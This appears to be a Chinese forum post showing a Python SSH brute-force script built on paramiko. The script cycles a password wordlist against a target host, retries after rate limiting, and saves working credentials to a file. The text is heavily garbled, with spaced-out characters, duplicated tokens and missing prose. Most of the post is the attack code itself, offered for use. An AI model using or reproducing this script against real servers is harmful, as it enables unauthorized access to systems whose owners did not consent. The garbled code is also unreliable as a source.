[28304] 2020-05-15_使用Python开发SSH爆破脚本

文档创建者:s7ckTeam
浏览次数:1
最后更新:2025-01-19
2020-05-15_使用Python开发SSH爆破脚本 使 P y t h o n S S H O t s   2 0 2 0 - 0 5 - 1 5 P y t h o n S S H 使 p a r a m i k o S S H 使 c o l o r a m a P y t h o n 使 p i p 3   i n s t a l l   p a r a m i k o   c o l o r a m a p i p 3   i n s t a l l   p a r a m i k o   c o l o r a m a i m p o r t i m p o r t   p a r a m i k o   p a r a m i k o i m p o r t i m p o r t   s o c k e t   s o c k e t i m p o r t i m p o r t   t i m e   t i m e f r o m f r o m   c o l o r a m a     c o l o r a m a   i m p o r t i m p o r t   i n i t   i n i t , ,   F o r e   F o r e #   i n i t i a l i z e   c o l o r a m a #   i n i t i a l i z e   c o l o r a m a i n i t i n i t ( ( ) ) G R E E N   G R E E N   = =   F o r e   F o r e . . G R E E N G R E E N R E D       R E D       = =   F o r e   F o r e . . R E D R E D R E S E T   R E S E T   = =   F o r e   F o r e . . R E S E T R E S E T B L U E     B L U E     = =   F o r e   F o r e . . B L U E B L U E
使 p a r a m i k o . S S H C l i e n t S S H S S H 使 使 p a r a m i k o . A u t o A d d P o l i c y S S H 使 c l i e n t . c o n n e c t 3 s o c k e t . t i m e o u t   3 访 p a r a m i k o . A u t h e n t i c a t i o n E x c e p t i o n p a r a m i k o . S S H E x c e p t i o n 使 T r u e d e f d e f     i s _ s s h _ o p e n i s _ s s h _ o p e n ( ( h o s t n a m e h o s t n a m e , ,   u s e r n a m e   u s e r n a m e , ,   p a s s w o r d   p a s s w o r d ) ) : :                 #   i n i t i a l i z e   S S H   c l i e n t #   i n i t i a l i z e   S S H   c l i e n t         c l i e n t           c l i e n t   = =   p a r a m i k o   p a r a m i k o . . S S H C l i e n t S S H C l i e n t ( ( ) )                 #   a d d   t o   k n o w   h o s t s #   a d d   t o   k n o w   h o s t s         c l i e n t         c l i e n t . . s e t _ m i s s i n g _ h o s t _ k e y _ p o l i c y s e t _ m i s s i n g _ h o s t _ k e y _ p o l i c y ( ( p a r a m i k o p a r a m i k o . . A u t o A d d P o l i c y A u t o A d d P o l i c y ( ( ) ) ) )                 t r y t r y : :                 c l i e n t                 c l i e n t . . c o n n e c t c o n n e c t ( ( h o s t n a m e h o s t n a m e = = h o s t n a m e h o s t n a m e , ,   u s e r n a m e   u s e r n a m e = = u s e r n a m e u s e r n a m e , ,   p a s s w o r d   p a s s w o r d = = p a s s w o r d p a s s w o r d , ,   t i m e o u t   t i m e o u t = = 3 3 ) )                 e x c e p t e x c e p t   s o c k e t   s o c k e t . . t i m e o u t t i m e o u t : :                                 #   t h i s   i s   w h e n   h o s t   i s   u n r e a c h a b l e #   t h i s   i s   w h e n   h o s t   i s   u n r e a c h a b l e                                 p r i n t p r i n t ( ( f " f " { { R E D R E D } } [ ! ]   H o s t :   [ ! ]   H o s t :   { { h o s t n a m e h o s t n a m e } }   i s   u n r e a c h a b l e ,   t i m e d   o u t .   i s   u n r e a c h a b l e ,   t i m e d   o u t . { { R E S E T R E S E T } } " " ) )                                 r e t u r n r e t u r n     F a l s e F a l s e                 e x c e p t e x c e p t   p a r a m i k o   p a r a m i k o . . A u t h e n t i c a t i o n E x c e p t i o n A u t h e n t i c a t i o n E x c e p t i o n : :                                 p r i n t p r i n t ( ( f " [ ! ]   I n v a l i d   c r e d e n t i a l s   f o r   f " [ ! ]   I n v a l i d   c r e d e n t i a l s   f o r   { { u s e r n a m e u s e r n a m e } } : : { { p a s s w o r d p a s s w o r d } } " " ) )                                 r e t u r n r e t u r n     F a l s e F a l s e                 e x c e p t e x c e p t   p a r a m i k o   p a r a m i k o . . S S H E x c e p t i o n S S H E x c e p t i o n : :                                 p r i n t p r i n t ( ( f " f " { { B L U E B L U E } } [ * ]   Q u o t a   e x c e e d e d ,   r e t r y i n g   w i t h   d e l a y . . . [ * ]   Q u o t a   e x c e e d e d ,   r e t r y i n g   w i t h   d e l a y . . . { { R E S E T R E S E T } } " " ) )                                 #   s l e e p   f o r   a   m i n u t e #   s l e e p   f o r   a   m i n u t e                 t i m e                 t i m e . . s l e e p s l e e p ( ( 6 0 6 0 ) )                                 r e t u r n r e t u r n   i s _ s s h _ o p e n   i s _ s s h _ o p e n ( ( h o s t n a m e h o s t n a m e , ,   u s e r n a m e   u s e r n a m e , ,   p a s s w o r d   p a s s w o r d ) )                 e l s e e l s e : :                                 #   c o n n e c t i o n   w a s   e s t a b l i s h e d   s u c c e s s f u l l y #   c o n n e c t i o n   w a s   e s t a b l i s h e d   s u c c e s s f u l l y                                 p r i n t p r i n t ( ( f " f " { { G R E E N G R E E N } } [ + ]   F o u n d   c o m b o : n t H O S T N A M E :   [ + ]   F o u n d   c o m b o : n t H O S T N A M E :   { { h o s t n a m e h o s t n a m e } } n t U S E R N A M E :   n t U S E R N A M E :   { { u s e r n a m e u s e r n a m e } } n t P A S S W O R D :   n t P A S S W O R D :                                   r e t u r n r e t u r n     T r u e T r u e
S S H w o r d l i s t . t x t 5 0 0 0 n m a p K a l i   L i n u x   O S   / u s r / s h a r e / w o r d l i s t s / n m a p . l s t 使 使 线 i f i f   _ _ n a m e _ _     _ _ n a m e _ _   = = = =     " _ _ m a i n _ _ " " _ _ m a i n _ _ " : :                 i m p o r t i m p o r t   a r g p a r s e   a r g p a r s e         p a r s e r           p a r s e r   = =   a r g p a r s e   a r g p a r s e . . A r g u m e n t P a r s e r A r g u m e n t P a r s e r ( ( d e s c r i p t i o n d e s c r i p t i o n = = " S S H   B r u t e f o r c e   P y t h o n   s c r i p t . " " S S H   B r u t e f o r c e   P y t h o n   s c r i p t . " ) )         p a r s e r         p a r s e r . . a d d _ a r g u m e n t a d d _ a r g u m e n t ( ( " h o s t " " h o s t " , ,     h e l p h e l p = = " H o s t n a m e   o r   I P   A d d r e s s   o f   S S H   S e r v e r   t o   b r u t e f o r c e . " " H o s t n a m e   o r   I P   A d d r e s s   o f   S S H   S e r v e r   t o   b r u t e f o r c e . " ) )         p a r s e r         p a r s e r . . a d d _ a r g u m e n t a d d _ a r g u m e n t ( ( " - P " " - P " , ,     " - - p a s s l i s t " " - - p a s s l i s t " , ,     h e l p h e l p = = " F i l e   t h a t   c o n t a i n   p a s s w o r d   l i s t   i n   e a c h   l i n e . " " F i l e   t h a t   c o n t a i n   p a s s w o r d   l i s t   i n   e a c h   l i n e . "         p a r s e r         p a r s e r . . a d d _ a r g u m e n t a d d _ a r g u m e n t ( ( " - u " " - u " , ,     " - - u s e r " " - - u s e r " , ,     h e l p h e l p = = " H o s t   u s e r n a m e . " " H o s t   u s e r n a m e . " ) )                 #   p a r s e   p a s s e d   a r g u m e n t s #   p a r s e   p a s s e d   a r g u m e n t s         a r g s           a r g s   = =   p a r s e r   p a r s e r . . p a r s e _ a r g s p a r s e _ a r g s ( ( ) )         h o s t           h o s t   = =   a r g s   a r g s . . h o s t h o s t         p a s s l i s t           p a s s l i s t   = =   a r g s   a r g s . . p a s s l i s t p a s s l i s t         u s e r           u s e r   = =   a r g s   a r g s . . u s e r u s e r                 #   r e a d   t h e   f i l e #   r e a d   t h e   f i l e         p a s s l i s t           p a s s l i s t   = =     o p e n o p e n ( ( p a s s l i s t p a s s l i s t ) ) . . r e a d r e a d ( ( ) ) . . s p l i t l i n e s s p l i t l i n e s ( ( ) )                 #   b r u t e - f o r c e #   b r u t e - f o r c e                 f o r f o r   p a s s w o r d     p a s s w o r d   i n i n   p a s s l i s t   p a s s l i s t : :                                 i f i f   i s _ s s h _ o p e n   i s _ s s h _ o p e n ( ( h o s t h o s t , ,   u s e r   u s e r , ,   p a s s w o r d   p a s s w o r d ) ) : :                                                 #   i f   c o m b o   i s   v a l i d ,   s a v e   i t   t o   a   f i l e #   i f   c o m b o   i s   v a l i d ,   s a v e   i t   t o   a   f i l e                                                 o p e n o p e n ( ( " c r e d e n t i a l s . t x t " " c r e d e n t i a l s . t x t " , ,     " w " " w " ) ) . . w r i t e w r i t e ( ( f " f " { { u s e r u s e r } } @ @ { { h o s t h o s t } } : : { { p a s s w o r d p a s s w o r d } } " " ) )                                                 b r e a k b r e a k

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则